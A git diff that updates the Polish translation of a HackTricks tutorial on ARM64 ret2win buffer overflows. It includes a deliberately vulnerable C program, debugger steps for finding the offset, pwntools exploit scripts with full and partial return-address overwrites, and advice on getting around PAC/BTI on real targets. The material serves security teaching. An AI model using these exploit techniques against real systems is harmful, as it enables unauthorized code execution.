Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6

This commit is contained in:
Translator 2025-08-27 02:33:28 +00:00
parent e4aae9c7b4
commit 2ae3db5a8b

View File

@ -2,14 +2,14 @@
{{#include ../../../banners/hacktricks-training.md}}
Znajdź wprowadzenie do arm64 w:
Wprowadzenie do arm64 znajdziesz w:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Kod
```c
#include <stdio.h>
#include <unistd.h>
@ -28,17 +28,29 @@ vulnerable_function();
return 0;
}
```
Kompiluj bez pie i canary:
Skompiluj bez pie i canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
```
- Flaga dodatkowa `-mbranch-protection=none` wyłącza AArch64 Branch Protection (PAC/BTI). Jeśli twój toolchain domyślnie włącza PAC lub BTI, to sprawia, że lab jest powtarzalny. Aby sprawdzić, czy skompilowany binarny używa PAC/BTI możesz:
- Szukaj właściwości AArch64 GNU:
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
- Sprawdź prologi/epilogi pod kątem `paciasp`/`autiasp` (PAC) lub pod kątem padów lądowania `bti c` (BTI):
- `objdump -d ret2win | head -n 40`
### AArch64 calling convention quick facts
- Rejestr linku to `x30` (tzw. `lr`), a funkcje zazwyczaj zapisują `x29`/`x30` przy pomocy `stp x29, x30, [sp, #-16]!` i przywracają je za pomocą `ldp x29, x30, [sp], #16; ret`.
- To oznacza, że zapisany adres powrotu znajduje się pod `sp+8` względem bazy ramki. Przy `char buffer[64]` umieszczonym poniżej, zwykła odległość nadpisania do zapisanego `x30` to 64 (buffer) + 8 (zapisany x29) = 72 bajty — dokładnie to, co znajdziemy poniżej.
- Wskaźnik stosu musi pozostać wyrównany do 16bajtów na granicach funkcji. Jeśli będziesz budować łańcuchy ROP później dla bardziej złożonych scenariuszy, zachowaj wyrównanie SP, inaczej możesz spowodować awarię podczas epilogów funkcji.
## Znalezienie offsetu
### Opcja wzorca
### Pattern option
Ten przykład został stworzony przy użyciu [**GEF**](https://github.com/bata24/gef):
Przykład został utworzony przy użyciu [**GEF**](https://github.com/bata24/gef):
Uruchom gdb z gef, stwórz wzorzec i użyj go:
Uruchom gdb z gef, wygeneruj pattern i użyj go:
```bash
gdb -q ./ret2win
pattern create 200
@ -46,17 +58,17 @@ run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 spróbuje powrócić do adresu w rejestrze x30 (który został skompromitowany), możemy to wykorzystać do znalezienia przesunięcia wzorca:
arm64 spróbuje powrócić do adresu w rejestrze x30 (który został przejęty), możemy użyć tego, aby znaleźć offset wzorca:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**Przesunięcie wynosi 72 (9x48).**
**Przesunięcie to 72 (9x48).**
### Opcja przesunięcia stosu
Zacznij od uzyskania adresu stosu, w którym przechowywana jest rejestr pc:
Zacznij od pobrania adresu stosu, gdzie przechowywany jest rejestr pc:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@ -65,14 +77,14 @@ info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Teraz ustaw punkt przerwania po `read()` i kontynuuj, aż `read()` zostanie wykonane, a następnie ustaw wzór, taki jak 13371337:
Teraz ustaw breakpoint po `read()` i kontynuuj, aż `read()` zostanie wykonane, a następnie ustaw wzorzec taki jak 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Znajdź, gdzie ten wzór jest przechowywany w pamięci:
Znajdź, gdzie ten wzorzec jest przechowywany w pamięci:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
@ -80,9 +92,9 @@ Następnie: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## Brak PIE
## No PIE
### Regularny
### Zwykły
Uzyskaj adres funkcji **`win`**:
```bash
@ -90,13 +102,15 @@ objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Eksploatacja:
Eksploit:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
@ -114,7 +128,7 @@ p.close()
### Off-by-1
W rzeczywistości będzie to bardziej jak off-by-2 w przechowywanym PC na stosie. Zamiast nadpisywać cały adres powrotu, nadpiszemy **tylko ostatnie 2 bajty** wartością `0x06c4`.
Tak naprawdę będzie to bardziej off-by-2 w przechowywanym PC na stacku. Zamiast nadpisywać cały return address nadpiszemy **tylko ostatnie 2 bajty** wartością `0x06c4`.
```python
from pwn import *
@ -136,16 +150,16 @@ p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Możesz znaleźć inny przykład off-by-one w ARM64 w [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), który jest prawdziwym off-by-**one** w fikcyjnej podatności.
Możesz znaleźć kolejny przykład off-by-one w ARM64 w [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), który jest prawdziwym off-by-**one** w fikcyjnej podatności.
## Z PIE
## With PIE
> [!TIP]
> Skompiluj binarny plik **bez argumentu `-no-pie`**
> Skompiluj binarkę **bez argumentu `-no-pie`**
### Off-by-2
Bez wycieku nie znamy dokładnego adresu funkcji wygrywającej, ale możemy znać offset funkcji od binarnego pliku, a wiedząc, że adres powrotu, który nadpisujemy, już wskazuje na bliski adres, możliwe jest wyciekanie offsetu do funkcji wygrywającej (**0x7d4**) w tym przypadku i po prostu użycie tego offsetu:
Nie mając leak, nie znamy dokładnego adresu funkcji win, ale możemy znać offset funkcji względem binarki. Wiedząc, że adres powrotny, który nadpisujemy, już wskazuje na pobliski adres, możliwe jest uzyskanie leak offsetu do funkcji win (**0x7d4**) w tym przypadku i po prostu użycie tego offsetu:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
@ -167,4 +181,45 @@ p.send(payload)
print(p.recvline())
p.close()
```
### Notes on modern AArch64 hardening (PAC/BTI) and ret2win
- Jeśli binarka jest skompilowana z AArch64 Branch Protection, możesz zobaczyć `paciasp`/`autiasp` lub `bti c` emitowane w prologach/epilogach funkcji. W takim przypadku:
- Powrót do adresu, który nie jest prawidłowym BTI landing pad, może spowodować `SIGILL`. Lepiej celować w dokładne wejście funkcji, które zawiera `bti c`.
- Jeśli PAC jest włączony dla powrotów, proste nadpisania returnaddress mogą nie zadziałać, ponieważ epilog uwierzytelnia `x30`. W scenariuszach do nauki przebuduj z `-mbranch-protection=none` (pokazane wyżej). Atakując prawdziwe cele, preferuj przejęcia bez użycia powrotu (np. nadpisania function pointer) lub zbuduj ROP, który nigdy nie wykona pary `autiasp`/`ret` uwierzytelniającej sfałszowany LR.
- Aby szybko sprawdzić funkcje:
- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
### Running on nonARM64 hosts (qemuuser quick tip)
Jeśli jesteś na x86_64, ale chcesz poćwiczyć AArch64:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
```
### Powiązane strony HackTricks
-
{{#ref}}
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
{{#endref}}
-
{{#ref}}
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Źródła
- Włączanie PAC i BTI na AArch64 w systemie Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Standard wywołań procedur dla architektury Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
{{#include ../../../banners/hacktricks-training.md}}